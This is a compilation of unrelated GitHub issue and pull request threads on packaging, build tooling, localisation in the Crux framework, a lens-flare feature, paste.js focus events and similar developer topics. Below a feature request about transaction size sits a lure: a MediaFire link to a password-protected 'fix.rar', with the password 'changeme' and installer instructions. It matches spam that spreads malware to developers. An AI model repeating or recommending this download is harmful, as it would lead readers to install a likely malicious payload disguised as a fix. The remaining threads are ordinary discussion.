Upgrade deprecated angular-cli

[INFO] --- frontend-maven-plugin:1.4:npm (angular-cli install) @ atlasmap-ui ---
[INFO] Running 'npm install --no-optional -g angular-cli' in C:\git\atlasmap\ui
[WARNING] npm WARN deprecated<EMAIL_ADDRESS>angular-cli has been renamed to @angular/cli. Please update your dependencies.

The Angular CLI version currently defined on atlasmap/ui is v1.2.8. Please double check the package versions on atlasmap/ui/package.json and double check if those versions match the version defined in the repo.

See README for build instruction


fasta or fastq?

Hi
In the tutorial for Taxonomic-Profiling-Diamond-Megan, it says "Include all input HiFi fasta files (SAMPLE.fasta) in the inputs/ folder",  but the files I received from PacBio are fq.gz.  Should I change the format of the files?!!
Thanks

Hello @PeymanDerik ,
Yes the required format is fasta. If you are looking for a simple tool for converting formats I recommend seqtk.


Not enough releases

You state a goal of this project is to help you learn about releases. I see only one release. I demand more releases!!

lol, thanks Adam!
I've started the project 2 days ago on the airplane and didn't have much time to continue working on it since then. I've just taken the time to make a repository yesterday, but I promise I'll do my best not to disappoint you!


[3.0.1] please provide a [tool.setuptools.packages.find] directive to  install the right package

In order to build guidata I need to add this in pyproject.toml
+[tool.setuptools.packages.find]
+include = ["guidata*"]
+

If not it finds multiple directory guidata and debian and understand that this is a multiple package project.
I think that it will be the same when you will re-add the doc directory.

Thanks for your feedback fred!
I think that Python package management has never been worse...
Using setuptools and the new official way (pyproject.toml) is a nightmare.
Unfortunately, using setuptools is my only option since I need to use the same solution with all my projects and some of them (e.g. guiqwt) have C++ extensions.

pyfai switch to mesonpy like numpy, and next scipy.
I think that at the end this will be the officiel way to build most of c/c++ extensions...
here the link https://github.com/silx-kit/pyFAI

I think that Python package management has never been worse...

I prefer the new pyproject whuich is more declarativ.
the problem with setup.py was thaht so many peoples where customizing it and it was a nightmare for packager ;)

Using setuptools and the new official way (pyproject.toml) is a nightmare.
Unfortunately, using setuptools is my only option since I need to use the same
solution with all my projects and some of them (e.g. guiqwt) have C++
extensions.

One problématic area is the package data which are not installed in the package directory.
at least in haskell there is a dedicated method common to all package in order to find the data once installed...
Cheers
Just for info when will be release datalab ? and are you aware of this
https://datalab.sspcloud.fr/home

Again, our minds are somehow connected :).
I did some tests with mesonpy and it seems that it could be the right long-term solution indeed.
But, for now, as I have a solution that works, I will stick with setuptools for a while. I think I will get back to this in a few months or so. So, definitely, mesonpy should be my final choice.

Regarding DataLab, I'm not sure: hopefully in September? It depends on a financial support that we are currently working on.
There are multiple projects called DataLab out there: that is quite a generic term actually. So we chose DataLab in spite of this situation and we do not pretend that this will be the DataLab, but just a DataLab among others.


Convenience function to determine current size of transaction

Problem
In order to determine the size of the transaction to ensure it is within the size limits, a few steps needs to be taken. Currently, the most accurate way to do this looks similar to this:
const request = await transaction._makeRequestAsync(); proto.Transaction.encode(request).finish().length
Especially for new developers, a method on the transaction that returns this value would be very helpful for client side apps.
Solution
Add a convenience function that will return the protobuf size of the transaction that will actually be received by the network.
Alternatives
No response

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."


Check exit status only in Build::is_flag_supported

This commit/PR enables warnings_into_errors, which causes the compiler to fail if there is any warning unless user override them by specifying env variable CFLAGS or CXXFLAGS.
Thus we no longer need to check stderr for warnings and can now only check exit status of the compiler.
This commit also fixed the fn reset_env in tests/test.rs to use std::env::remove_var instead of std::env::set_env($var, "").
This commit/PR is done according to the advice from @mqudsi in https://github.com/rust-lang/cc-rs/pull/784#issuecomment-1414333799
Signed-off-by: Jiahao XU<EMAIL_ADDRESS>

I'm not sure about this. I'm pretty sure there's a reason the current code was the way it was... I'll have to go looking.

I had done some git spelunking when I was looking into #784 and found that it was just originally added as "execute and check if stderr is empty" to see if the presence of the flag caused any errors or warnings. Later @NobodyXu added the exit code check in #757 but without any rationale or motivating bug (I don't think it changed the behavior in any way since "exit code is 0" is probably a strict subset of "stderr is empty").
If you're not using -Werror then checking the stderr is required, but if you're using -Werror then checking the stderr is overkill because it necessitates workarounds like
https://github.com/rust-lang/cc-rs/blob/0d9a0f84e43fdb3eef34ff9726f7cb915a2b619a/src/lib.rs#L515C9-L519
which is only needed because stderr may sometimes contain non-error output (because no one says otherwise).

I've been rethinking what I said in #784, and I'm not sure using CFLAGS and CXXFLAGS is necessarily the right approach. If a user has an invalid flag in CFLAGS, that means every is_flag_supported() call will fail/return false (this is the current behavior).

Hmmm I think it's better to check stderr just to be sure that the flag is indeed supported and there might be cases where the flag is just ignored and compiler exits with success.


Some cleanup and reogranization in SAXS

Moved some internal classes inside of SAXSGUIPlugin into their own modules (within SAXS package).
Clean up some unused imports.
Add documentation.

Going to go ahead and merge this, so I can work from a somewhat cleaned-up state for #20 and XPCS issue 10.


Docker widget still accessible when DISABLE_EDIT_MODE set to true.

Environment
Docker
Version
0.11.5
Describe the problem
Not sure if this should be a bug report or a feature request.
Tried out the DISABLE_EDIT_MODE and it doesn't disable the docker widget. This allows others to mess around with the rest of your docker services. This button should also disappear like the edit button when DISABLE_EDIT_MODE is set to true.
This is what you see with DISABLE_EDIT_MODE enabled.

You can see that it allows for removing, starting, and stopping while in this mode. I've actually tested turning off a container and it went through.

Furthermore, I did attempt to use the Add to Homarr option, this shows that a tile is added to your dashboard, but it isn't saved. So it doesn't actually affect the config. So that seems to be working as intended.
Additional info
No response
Please tick the boxes

[X] You've read the docs
[X] You've checked for duplicate issues
[X] You've tried to debug yourself

Hi 👋
I think the issue template is fine for this.

You can see that it allows for removing, starting, and stopping while in this mode. I've actually tested turning off a container and it went through.

Correct, the env variable will not disable that.
I think I forgot about disabling that too, if the env is set.
We should implement that in 0.11.6

Hi 👋 I think the issue template is fine for this.

You can see that it allows for removing, starting, and stopping while in this mode. I've actually tested turning off a container and it went through.

Correct, the env variable will not disable that. I think I forgot about disabling that too, if the env is set. We should implement that in 0.11.6

I'll do this now :)


PLR1730 more aggressive with pylint 3.1.0

With the following snippet:
class Foo:
    _min = 0

    def foo(self, value):
        if value < self._min:
            self._min = value

pylint 3.1.0 returns:
foo.py:6:8: R1730: Consider using '_min = min(_min, value)' instead of unnecessary if block (consider-using-min-builtin)

ruff 0.3.7 does not report it. pylint 3.0.2 did not report it too.

Thanks!


syntax: silence MSVC warning about unreachable (NFC)

Add a llvm_unreachable to indicate to MSVC that the switch is covered.

Replace this paragraph with a description of your changes and rationale. Provide links to external references/discussions if appropriate.

Resolves SR-NNNN.

@swift-ci please test and merge


Feat/600

:tada: This PR is included in version 1.9.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Update visual-studio-2015.jade

In Step 7 (Build and Run App), there needs to be instruction to set index.html as start page, so that when Run button or F5 is pressed to run the application, browser shows index.html

I signed it!

ping @DeborahK

This is fine. Thanks.


Icon pack crashes app

Switching the icon pack to line cause the app to crash on every open.

@jacobgonzales20 This is iOS right ?

@jacobgonzales20 This is iOS right ?

yes iOS 17.3.1

The issue can be temporarily fixed by reinstalling the app to clear the cache.

@jacobgonzales20 thanks i think it was an issue that i now have fixed. There is a new version in review. Hopefully this wont happen again as i am not 100% sure i fixed it :s

@jacobgonzales20 thanks i think it was an issue that i now have fixed. There is a new version in review. Hopefully this wont happen again as i am not 100% sure i fixed it :s

This is still an issue

@jacobgonzales20 ok i need to reproduce this. May i ask the location you are testing that with? It might be related to the current weather forecast there

@jacobgonzales20 ok i need to reproduce this. May i ask the location you are testing that with? It might be related to the current weather forecast there

currently grand rapids michigan

@jacobgonzales20 i cant get it to crash :s What provider are you using? your phone is in english?

@jacobgonzales20 i cant get it to crash :s What provider are you using? your phone is in english?

Phone in English and app set to english

@jacobgonzales20 the bug is fixed and the app is waiting for review!

fixed

Issue is apparent again in Build 102; Version 2.3.0

Issue is apparent again in Build 102; Version 2.3.0

https://github.com/Akylas/oss-weather/assets/122128828/d1243a24-f1f3-4067-8f38-c63af8494fb8


Did anyone continue this project?  It seems abandoned.

Did anyone continue this project?  It seems abandoned.

It has been unmaintained in the last couple of years indeed, I didn't have time to update the implementation.
I am planning to allocate some time to revamp the codebase, until that I would recommend to use https://ibis-project.org which supports querying clickhouse directly into pandas (and to various arrow formats as well).


Question about adding translation resources from Core to Shell

Hi Crux team. Great project! I'm looking for a way to provide the Shell with translations. How do you think it should be exposed?
I already set the language in the Core from the app settings and in the Core there is "tr!" macro that handles the translations.
This works for the translations that are a part of the ViewModel. But there are also translations that are a part of the interface itself (Button names, sections names etc.) and also enum variants translations.
I had a couple of ideas:

Add additional entry point to expose synchronous functions from the Core - this is like a reverse capability - this would mean adding some new function to the UDL.
Use an Event to request the translation from the Shell and then maybe KV capability to store it? Then read it from KV in the Shell? - this seems like a very round about way but it would work without any changes to crux.
Share the translation resources in both Core and Shell - this I don't like because I would have to guarantee that the Shell has the same possibility to use https://projectfluent.org.
I was also playing around with some custom serialisers for enums that would convert the variant name into translated name which could actually work but only for enums.

Generally I tend to lean towards the situation where the Core is responsible for translations.
I would be grateful for some guidance. I could contribute some solution if you find any of the above interesting.

Hey Paweł, thanks for raising this. I think your intuition is correct, and the core should be responsible. But the core needs to remain shell-agnostic, possibly by using a "translation" capability to fetch translations from the outside world. I probably have an overly simplistic view of your use case (for instance I don't quite understand why enum variants need translating). Do you have some example code you can share?

Thanks for the answer. I'm testing 2nd approach.
In the core I have this event handler (writing the requested translation the the KV).
Event::RequestTranslation(message) => {
    caps.key_value
        .write(message, tr!(message).into_bytes(), |_| Event::None);
}

In the shell (GLOBAL_STATE is the KV in my web-yew)
impl RootComponent {
   pub fn translate(&self, message: &str) -> String {
       let callback = Callback::from(move |msg| {});
       core::update(
           &self.core,
           Event::RequestTranslation(message.to_string()),
           &callback,
       );
       let translation = GLOBAL_STATE
           .read(&message)
           .unwrap_or("NOT_TRANSLATED".to_string());
       translation
   }
}

```html
<button>
    {root.translate("ui-change-language")}
</button>

This works so that's cool.
When it comes to variants. A variant like this or any really will have to be translated too - it will be presented as a form field, list field etc. I mean even for English language you would need to translate it to a string.
#[derive(Debug, Serialize, Deserialize, Clone, PartialEq, Eq)]
pub enum Difficulty {
    Beginner,
    Intermediate,
    Advanced,
}

I was thinking about some custom serialisation serde logic which adds the translation on the fly - but this is quite complex because the serialization/deserialisation in the shell should be manipulated to understand
Or in the shell we can also translate it using core functionality (that's probably the easiest if I choose the 2nd solution).
let translation = match difficulty {
      Difficulty::Beginner => root.translate("difficulty-beginner"),
      Difficulty::Intermediate => root.translate("difficulty-intermediate"),
      Difficulty::Advanced => root.translate("difficulty-advanced")
}

@StuartHarris I went a slightly different road. The translations that are defined in the Core (are a part of the viewmodel) are translated by the Core. But for translations that are requested from the Shell I defined an additional function:
namespace shared {
  bytes process_event([ByRef] bytes msg);
  bytes handle_response([ByRef] bytes uuid, [ByRef] bytes res);
  bytes view();
  string translate([ByRef] string msg);
};

The core keeps track of the current locale and I change it whenever there are some setting changes
// Global language setting
lazy_static! {
    pub static ref CURRENT_LOCALE: RwLock<LanguageIdentifier> = RwLock::new(langid!("en-US"));
}

I think that using message passing for this use case is an overkill.
Additionally I have a translation script written in Python that goes through all Rust files and Swift files and searches for translation function applications and updates locale files with new translation keys.

Hey @pjankiewicz, I'm not too sure that this is a good idea :-) The bridge interface is deliberately very small, stable, and focused purely on the mechanics of passing messages between the core and the shell. It doesn't feel right to me to introduce domain specific functions into this IDL. I still think that the way to go with this is to write a small "translation" Capability and use that to communicate between the core and the shell for translations. Is there a specific reason why you think this would not work?

Ahh, thinking about this a bit more, I could see how that extra function on the IDL could help for parts of the UI not directly rendered in the loop. Which would probably make it the most practical thing to do.

Translation as a capability feels awkward, but again this is me saying this not completely understanding all of the Core implementation - I tried to do it through interacting with KV but the solution wasn't very good (I didn't like that for simple translation I needed to exchange 2 events and if we have a page full of things to translate it grows quickly).
For example in our app we separated events into Commands (access to a read-only Model) and Events (access to a mutable Model) in a traditional CRQS sense, so when we go this route translation is a synchronous read-only Query (also read-only access). I'm not sure if instead of having translation as a more generic query would be better from your point of view?
namespace shared {
  bytes process_event([ByRef] bytes msg);
  bytes handle_response([ByRef] bytes uuid, [ByRef] bytes res);
  bytes view();
  bytes query([ByRef] bytes msg);
};

in the Core the query could be just:
fn query(msg: QueryRequest) -> QueryResponse

I would be happy to discuss further how we are using Crux at the moment. We also implemented an event log and snapshots backed in KV (that's why we needed to separate Commands and Events).

Sorry to come late to this conversation, and also that I'm about to confuse matters further 😅
I think my broad instinct would be to handle localisation in the shells.

The platforms typically have built-in mechanisms for this (e.g. iOS has localised.strings)
The majority of text in your UI will be straight up static text, not involved in the business logic (and quite possibly different across platforms) and therefore the core is unaware of them

If the core must put some localised text in the view model, I'd go the way of using a localisation key, which gets translated into the localised string in the shell as its put on screen. The tricky bit is internationalisation of numbers/dates etc. I think I'd lean towards representing that information in data, and formatting it in the shell as well.
If the core does anything at all with translations, I'd try to limit it to handling of how they are loaded from a remote system if that's something you wish to do. Although even there, I'd advise against it and instead fetch them at build time, producing plain configuration files, otherwise you're relying on the translation service for your application to work, and a copy update can inadvertently break live apps (remember several previous versions of mobile apps will be live at the same time). It's a bit of a nightmare.
So much for my general instincts, which may not necessarily be correct 😄.
More relevant to your situation – if it genuinely does make more sense for the core to handle localisation, then your approach with an additional exposed function, making it a whole separate subsystem, seems sensible. My only suggestion would be that the locale should be passed in as an argument along with the translation key - the shell is ultimately the source of this information (often set on an OS level), and it avoids duplicating and synchronising the locale selection state.
Even with that approach, I'd still avoid the Crux app knowing about localisation if it at all can. And if it cannot be avoided, keep the current locale in your model.
I'm aware this isn't exactly helping, and I'm giving somewhat conflicting guidance to Stu. Localisation has always struck me as quite a complicated, tricky, annoying problem space, and as you can see, opinions differ. Hard to give clear universally applicable guidance. Happy to discuss further though!

@charypar Thank you for this explanation. In the project we are using fluent which is a little bit more flexible than whatever platform offers as a default solution. If you are not sure if the platform implements this localisation format it could be a part of the Core.
I mean there are a couple of ways how to separate things:

Shell handles localisation using different standards.
Shell handles localisation using one standard (like Fluent) - and then we can share locale assets.
Shell provides localisation assets capability, Core requests what locales are available and has access to assets.
Shell requests translations, Core implements them all and embeds all the assets in the library (this is what we do right now)

Also there are also 2 aspects of this. There are:

Translations that come from the Core - they are the part of the data that you share in the view model - but again this can be also done by sharing a message to be translated with arguments.
There are translations of UI interface elements and others like variant names for pickers etc.

For now we defined 2 functions:

translate
translate_enum_variant

#[derive(Debug, PartialEq)]
pub struct FLTMessage<'s> {
    pub msg: String,
    pub fluent_args: Option<HashMap<String, FluentValue<'s>>>,
}

#[derive(Debug, Clone, Serialize, Deserialize, Display, Eq, PartialEq)]
pub enum TranslationKey {
    Name,
    Description,
}

// builds a translation key possibly with arguments
pub trait Translatable {
    fn translate(&self, key: &TranslationKey) -> FLTMessage;
}

#[derive(Debug, Clone, Default, Serialize, Deserialize, PartialEq, Eq, Display, Translatable)]
pub enum DistanceUnit {
    #[default]
    Meters,
    Miles,
}

And it is used:
Picker(selection: $appSettings.units.distance, label: Text(translate("ui-settings-distance-unit"))) {
    Text(translateVariant(TranslateEnumVariant(object: .distanceUnit(.meters), translation_key: .name))).tag(DistanceUnit.meters)
    Text(translateVariant(TranslateEnumVariant(object: .distanceUnit(.miles), translation_key: .name))).tag(DistanceUnit.miles)
}

But again I see your point. There are many ways to implement this. For example we could define a type that we share from the Core (FLTMessage) and let the Shell figure out how to translate it. And whenever we are returning a translatable String from the Core we can use FLTMessage instead.
Another important thing is that the application will be fully offline. I don't intend to connect to any external service so all the translations should be embedded in the application.

That all makes sense @pjankiewicz! I think the fifth way is quite similar to extending the FFI interface at the end of the day. Whichever works easier for you is probably fine.
In principle, while they are exposed using the same mechanism, your translation calls and the Crux interface don't interact in any way, they just happen to be in the same library.


Lens Flares Node

Introduction
Lens Flares: one of the most beloved and most easily overused features of computer graphics.
Lens flares in real cameras are generated by slight imperfections in the individual lenses composing an objective. The imperfections will generally be invisible, but bright enough lights, i.e. the sun during the day or even car headlights at night, will make them apparent, typically as circles and polygons of various transparency and level of completeness (sometimes just an arch will be visible).
Digital cameras are affected just as much as film cameras (the lenses and objectives are the same!), but computer graphics cameras tend to be lens-less and generally produce no lens flares!
For this reason, if needed, lens flares are generated as a post-production step, and overlaid on top of an existing image.
Visual Description
From a visual perspective lens flares effectively consist of a number of artifacts arbitrarily but statically positioned along a dynamic imaginary axis, starting from the light source causing the flare, through the center of the frame and beyond, until out of frame. As the light changes position, the axis changes with it, dragging all the artifacts on it around the screen. Furthermore, the further out from the screen center the light is, the more transparent the artifacts will be, to the point of disappearing completely if the light is far out of frame (a light that is -just- out of frame will normally still produce a flare).
Primary Goal - The bare minimum
Assuming a single light source for simplicity and given the description above, all we need is an arbitrary number of texture mapped quads positioned in screen-space at arbitrary points along the light -> frame center  axis. A [0.0-1.0[ factor would tell the node where along the axis to draw each quad, with 0.0 being right on the light source and 1.0 right in the frame's center.
UV-coordinates associated with each quad would then allow the reading of a specific portion of a texture atlas, so that all types of artifacts can be stored in a single texture passed to the node on construction and made available via the SetInputTexture2D state change.
The shader would then receive additional information, such as the angle between the camera forward vector and the camera-light, for the artifacts to be most opaque when the light source is at the center of the frame and fully transparent beyond some threshold angle.
The rendering of the quads would be executed with blending enabled, directly on an existing image in normal circumstances or starting on a black background for debugging purposes.
Secondary Goals - Nice-to-have

Additional per-vertex color information could be used to colorize artifacts, perhaps to reuse the exact same portion of the texture atlas multiple times - think of circle or ring artifacts in slightly different colors but all using the same portion of the texture.
The angle between the camera forward vector and the camera-to-light vector would also be an input to implement chromatic aberrations on the artifacts.
Also useful could be the screen-space angle between the up vector of the camera and the camera-to-light direction, for each single artifact to be somewhat brighter toward the light, radially fading out the texture values beyond a set angle. Or to simulate aperture shapes.
Anamorphic lens flares: this could be achievable simply having wide/short or narrow/tall textures in the atlas, and accordingly sized quads.

Tertiary Goals - for highly committed lens-flare developers

A system capable of generating the right lens flare for each light in the scene, for example one generating a lot of artifacts when looking at the sun and perhaps just an anamorphic flare when looking at near enough torches.
A system capable of handling totally or partially obstructed light sources: all things equal a light source half behind an obstacle should have half as bright artifacts compared to an unobstructed light source. And a light source completely obstructed should generate no lens flare.

Resources

https://en.wikipedia.org/wiki/Lens_flare
https://www.google.ch/search?biw=1536&bih=736&tbm=isch&sa=1&q=lens+flares&oq=lens+flares&gs_l=psy-ab.3...<IP_ADDRESS>8<IP_ADDRESS>.<IP_ADDRESS>.0..0.0....0...1..64.psy-ab..0.0.0.LiTwJOZuf7A
https://www.google.ch/search?q=v-shaped+lens+flares&source=lnms&tbm=isch&sa=X&ved=0ahUKEwjql5LS-rvVAhWnCsAKHT5XAcgQ_AUICigB&biw=1536&bih=736#imgrc=4bscEQ_7MVzCDM:
http://resources.mpi-inf.mpg.de/lensflareRendering/

Just a small correction here - this issue has a distinct lack of actual embedded lens flare images of superior quality!

Hi! Newbie here.
I'd like to work on this feature. However can this be considered a GSOC - level issue? @Cervator  @emanuele3d

Hey @manas96 - I answered with more details in the forum, while I'm not entirely certain I expect the answer is no, but it could be part of a GSOC item :-)


Musig notebook: update nonce aggregation comment

Don't negate the nonce points when aggregating the nonces.

Thanks for this. Can you make the same change to the comment in the solution here: https://github.com/bitcoinops/taproot-workshop/blob/beba9c8ba1ef73b75972f53f1aaa8b94fbe327c2/solutions/1.2-Introduction-to-Musig-Solutions.txt#L67

Can you make the same change to the comment in the solution here

done

Thanks!


build: bump to CMake 3.16, centralise artifacts

Put all the libraries into lib, all the binaries into bin.  This bumps
up the CMake requirement to 3.16.0 to enable the co-located artifacts.
It should make it easier for people to find the artifacts in the build
tree.

Seems that we didn't document the requirements (I suppose because the intent was that people would be using s-p-m).  I don't think that anything should be needed for that, the layout of the tree should be internal to the project.


Cannot distinguish "real" vs "paste" blur due to delayed pasteText event

In v0.15, the pasteText event is delayed, which makes it impossible for my code to tell apart a blur on the textarea that's due to pasting (and activating the contentEditable container) vs due to the user actually focusing another element.  This is important in my use case because blurring an empty textarea actually deletes it, so regaining focus later comes too late.  I could delay my blur handler as well but this creates a race condition.
If the pasteText event needs to be delayed, could you fire an undelayed event first or otherwise indicate that the blur is temporary and focus will be regained shortly?  Thanks.

Hi @pkaminski , so there could be two approaches to this:

trigger the event with additional parameters http://api.jquery.com/trigger/ could be a little intrusive because additional check will be required
try to perform the event without triggering the handler, I don't know whether is it possible, but this will very ideal

What do you think?

I don't know why you need to delay the pasteText event so I can't tell what would be a good solution.  I don't think you can avoid firing the blur or add extra parameters to it (unless you intercept it in the capturing phase? that might work).  Even just adding an extra attribute to the textarea (e.g., pasteInProgress = true) would be enough for me -- anything that will tell me that focus was lost automatically, and will come back automatically soon.

@pkaminski  I managed to prevent "fake" blur/focus event from happening, you can see console logs on the demo page. And you need to put you event handler "after" invoking paste.js in order to make it work. I haven't yet pushed a release because currently I'm downloading an Edge VM to try to validate the recent changes on Microsoft Edge. The delaying of pasteText is due to solve problems for #23 . So if you can grab the latest code, you can help me verify whether it works.

@pkaminski  You can review the changes here e2039c2e4ad802788a26479549917c90b24144d1 , and this issue is only applicable for Firefox && IE11 (possible Edge) now.

I tried the version from HEAD and the blur-prevention appears to be working as advertised.  However, there's another new issue:  after pasting text in Firefox (v43 on Win10), the visible cursor jumps two lines below the bottom line of the textarea even though the insertion point is positioned right after the pasted text (as shown by typing something).  The visible cursor's position is outside the bounds of the text content and it couldn't be positioned there by clicking, so this is really weird.  This doesn't happen with 0.0.14.

@pkaminski , This is really an issue where firefox didn't correctly handle prevention of propagation on capture-phase event, I actually googled a similar issue ( https://bugzilla.mozilla.org/show_bug.cgi?id=509376 ) with another event.  Meanwhile I let go the events on capture-phase to eliminate this issue. It wouldn't be a problem if you are using jQuery to bind your events (on the bubbling-phase).

I was wrong it's not Firefox's bug but just me meddling with those two events on wrong target (document). But the solution would be the same. @pkaminski  Can you check out the HEAD version?

I checked against HEAD (668f93c1ee) again but still see the same problem in Firefox.

oh this is a strange issue, while it only appears when there are at least "visually" two lines of text in the textbox. I thought that I had it fixed.

hi @pkaminski , I'm unable to stop the event handlers without introducing other issues so I have taken your suggestion, to add a class to the textarea. The css class pastable-focus was added long ago, just wasn't taking into account of the "fake" focuses. Now I've made it available to determine whether focus&blur events are "fake" ( 091813e ). You need to check whether it was focus before the fake focus and after the fake blur to see whether they are "fake" events. Still there is an example in the index.html. Open the console in Firefox, then you can see the result.

This works nicely for me, thanks!  Please let me know when you've cut a release with this code.

Hey @layerssss, could you please cut a new Bower release with this fix?  Thanks.

hi @pkaminski sorry for the delay, I just push a new release with all those fixes, it's 0.0.16


Deployment

deploy LLM and spacy on seperately on baloise openshift / AI circle incubator azure landing zone
make it a generic pipeline?

#43


Analytical policy gradient demo

Hi, Brax developers, thanks for developing Brax. I saw that analytical policy gradient training function (apg.py) has bee added and updated in the past few days. I have tried to use it to train in some of the given envs (e.g. ant), but it doesn't give me the results expected. I wonder if you could provide a demo setting for using apg in some of the envs.

Hello!  Indeed, we've added a truncation_length parameter to ant that makes it a bit easier to optimize.  The following training function will train an ant that can crawl a bit to the right--it's prone to getting stuck once it isn't facing to the right anymore, but it does go significantly farther than the previous no-truncation ant did:
    apg.train,
    episode_length=400,
    action_repeat=1,
    num_envs=1024,
    num_eval_envs = 128,
    learning_rate=3e-3,
    log_frequency = 300,
    truncation_length = 10,
    normalize_observations = True,
)```

I've had some success by augmenting this with state resetting, so that, say, half of the environments in a batch are reset to wherever the ant goes after one whole episode.  This seems to prevent it from getting stuck as much, but it isn't submitted yet because it's a little bit hacky.

Thank you @cdfreeman-google. I tried running using the setting you gave, and with log_frequencey = 300, it takes ~20min, which is much slower than other settings. Is that normal considering Brax is supposed to be very fast on TPU?

Indeed, gradients are a bit slow at the moment compared to the other algorithms.  You can probably get away with training an ant with an episode length of ~100, and maybe ~100 steps (we really should change the log_frequency kwarg to be "training_steps" or something...), which should make things go a bit faster, but for shorter trajectories you almost certainly need more clever reset logic.

That makes sense. I am also trying different ways to improve the training performance and speed. Thank you.


Call to a member function query() on a non-object in /root/cron/lib/dblib.php on line 74

I have been really, really trying to figure this out. It's the last thing holding me back from getting this up and running....
This is the error output for every cron job .php i try to run
receive.sh also doesn't run, gives me this error:
./receive.sh: line 6: /root/cron/transactions/: Is a directory
I am offering a bounty for this @mbassan
Note: I am using all MBassan repos

Hi @htskltd91989,
Do you still need help with this?


Launch: Add message to FC1 to visit FC2

"You are invited to come and try FreeCEN2 [link].  We’re all set up and waiting for your feedback"
Duration: From day 1 of launch to shutdown of FreeCEN1

A duplicate task so closing.


Current ws library generates clippy warnings

Due to the current ws library, we need to allow a lot of clippy warnings. If this library is not updated, it should be exchanged. Keep in mind: no-std option (https://github.com/scs/substrate-api-client/issues/279)
and https://github.com/scs/substrate-api-client/issues/267

Alternative: https://crates.io/crates/tungstenite


Different appearance in the backend

I noticed you calculate the widths and number of images in the rows automatically. Depending on where you want to go with this plugin it would make sense to optionally have a simpler image group without set widths — for example when using the block as a slideshow.
Or do you think it would be better to create a fork for something like that?
It might actually be enough to make the batchRatioLimit variable editable via an option: https://github.com/cajames/kirby-editor-gallery-block/blob/master/src/components/Gallery.vue#L209

Hey @medienbaecker, thanks for that! It's a good idea.
We could definitely make the batchRatioLimit modifiable if it suits a use case. The batchRatioLimit value is only used at image insert time, and people can drag as many images as they choose into a row after.
For the example of a slideshow/carousel, I think it could be added to this, though having it in its own Slideshow block is not a bad idea either.
For clarity, when talking about slideshows, I'm imagining an end product like this:

If we were to build it as part of this module, I think we can consider a few things:

A gallery can have a configurable type attribute. (row or slideshow in this case)
The Editor Gallery block can render different components and experiences in the backend based on the block type.
The block can render a different HTML snippet based on the type. Ideally, the render would match what was seen in the editor out of the box (to provide a WYSIWYG experience).

Though we'd probably need to add JS and CSS to make a slideshow render work as expected on the client UI. I'm hesitant to add JS as part of the rendered markup, I'd ideally just want a clean HTML block which the user can enrich with their own CSS and JS.
What are your thoughts on this? Would be great if we could find a good solution to add slideshows to the Kirby Editor. :)

Great input, thanks for that!
On the one hand I think editor blocks can totally look different in the backend — especially if it's easier to edit. On the other hand there's the use case of multiple different versions of the gallery block. E.g. once as a slideshow, and multiple galleries. For that we would definitely need a type attribute.
For my use case (articles on https://www.praeposition.com/text/vorzeichen/joseph-vogl) it would be more than enough to globally display the images next to each other in the backend and render the slideshow in the frontend.

On the one hand I think editor blocks can totally look different in the backend — especially if it's easier to edit.

Actually I think I've warmed to your idea, especially considering something like the Kirbytext block.

For my use case (articles on praeposition.com/text/vorzeichen/joseph-vogl) it would be more than enough to globally display the images next to each other in the backend and render the slideshow in the frontend.

Okay how about this implementation in #9? This way you can disable the auto-layout for the block, and then add as many images to it as you wish.

@cajames That's awesome! You even added a perfect German translation 👏
Do you think it would be easily possible to make the default (auto layout true or auto layout false) globally editable via an option?
Thanks so much for your work, it really helps a lot for this project!

Thank you!

You even added a perfect German translation 👏

Haha I can't take credit, Google Translate did the work 😝

Do you think it would be easily possible to make the default (auto layout true or auto layout false) globally editable via an option?

Actually that's a great idea! I haven't looked into implementing global settings, but given this is just a regular plugin, I'm sure I should be able to access the global Kirby config, and set an option for this.
Let me have a look and I'll get back to you. 😊

@cajames You should add a donation/sponsoring link to the repository 🙏

@cajames You should add a donation/sponsoring link to the repository 🙏

Yes, you should. 😎


feature: 补充周期任务的单元测试 (close #391)

Codecov Report

:exclamation: No coverage uploaded for pull request base (V2.1.364-rc@070abea). Click here to learn what that means.
The diff coverage is n/a.

@@              Coverage Diff               @@
##             V2.1.364-rc     #402   +/-   ##
==============================================
  Coverage               ?   64.23%
==============================================
  Files                  ?      249
  Lines                  ?    20225
  Branches               ?        0
==============================================
  Hits                   ?    12992
  Misses                 ?     7233
  Partials               ?        0

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 070abea...bf2b611. Read the comment docs.

继续补充其他覆盖率低的单元测试


Network flyout from Windows 7 feature request

Hi there, I'd like to leave this feature request for anyone interested now that the project is open source.
The network flyout is one of the few remaining aspects of Windows 8/8.1 that can't be made to look like Windows 7 with current tools. I'm talking about this thing:

The Windows 7 network flyout was more compact and had more functionality. The Windows 8/8.1 one is uglier, takes a lot of space and in general is pretty dysfunctional. It's a nightmare when you use VPNs or different Wi-Fi networks. The Windows 10 one is only a minor improvement, but Windows 10 is such a disaster in general it's not particularly surprising.
I hope someone considers implementing the Windows 7 network flyout in Classic Shell. Although the original developer has repeatedly rejected the suggestion (so did the developer of StartIsBack), this is an important and widely used aspect of the OS that desperately needs a "classic" overhaul.
Here are some threads from the Classic Shell forum with this feature request, there may be more as well:
http://classicshell.net/forum/viewtopic.php?f=13&t=1608
http://classicshell.net/forum/viewtopic.php?f=13&t=4360
http://classicshell.net/forum/viewtopic.php?f=13&t=5051

Seem the one on Window 10 is getting better.
e.g. No button for connect VPN from Windows 10 flyout, now it does. (Guess it's the result of Windows insider program though)

The menus and flyouts on the Windows 10 taskbar are all part of the System UWP App Shell Experience Located in C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy.
This app provides the Start Menu and the flyouts for Notifications, Clock, Network and Power.
It also provides the context menu when you right click on a running program.
So the only way to change how those things work is to replace them completely.
That was worth while to do for a replacement Start Menu as the replacement is more useable, flexable and customizable then the Start Menu in Windows 7 and up.
I don't think the effort required to re-implement flyouts such as the Network Flyout would be worth it.

Future issue submission: https://github.com/passionate-coder/Classic-Start/issues
Any future development will be made at the above address.


Fixed typo in line 169 of kivy/uix/recycleview/views.py in docstring for class: ~kivy.uix.recycleview.RecycleDataAdapter

The comma should be outside the method declaration in line 169.
The current line 169 is - "and then asks for views, using :meth:set_visible_views, for some specific"
After the change, it becomes - "and then asks for views, using :meth:set_visible_views, for some specific"
which is syntactically correct.

Maintainer merge checklist

